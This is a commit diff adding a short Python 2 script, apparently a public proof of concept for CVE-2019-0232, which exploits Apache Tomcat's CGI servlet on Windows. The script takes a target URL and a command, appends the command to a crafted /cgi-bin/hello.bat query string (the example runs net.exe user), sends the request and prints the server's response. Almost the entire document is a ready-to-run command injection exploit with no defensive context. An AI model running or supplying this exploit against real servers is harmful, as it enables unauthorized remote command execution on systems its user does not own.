2026-06-05

2026-06-05 09:00:50 +02:00
parent 0e30222666
commit 9fc706a8bd
71 changed files with 1762 additions and 0 deletions
@@ -0,0 +1,36 @@
+import requests
+import sys
+
+# http://localhost:8080/cgi-bin/hello.bat?&C%3A%5CWindows%5CSystem32%5Cnet.exe+user
+
+url = sys.argv[1]
+
+url_dir = "/cgi-bin/hello.bat?&C%3A%5CWindows%5CSystem32%5C"
+
+cmd = sys.argv[2]
+
+vuln_url = url + url_dir +cmd
+
+
+print '''
+   _______      ________    ___   ___  __  ___          ___ ___  ____ ___  
+  / ____\ \    / /  ____|  |__ \ / _ \/_ |/ _ \        / _ \__ \|___ \__ \ 
+ | |     \ \  / /| |__ ______ ) | | | || | (_) |______| | | | ) | __) | ) |
+ | |      \ \/ / |  __|______/ /| | | || |\__, |______| | | |/ / |__ < / / 
+ | |____   \  /  | |____    / /_| |_| || |  / /       | |_| / /_ ___) / /_ 
+  \_____|   \/   |______|  |____|\___/ |_| /_/         \___/____|____/____|
+  
+             Apache Tomcat Remote Code Execution on Windows - CGI-BIN
+                                  By Jas502n
+
+
+'''
+
+print "Usage: python CVE-2019-0232.py url cmd"
+
+print "The Vuln url:\n\n" ,vuln_url
+
+r = requests.get(vuln_url)
+
+
+print "\nThe Vuln Response Content: \n\n" , r.content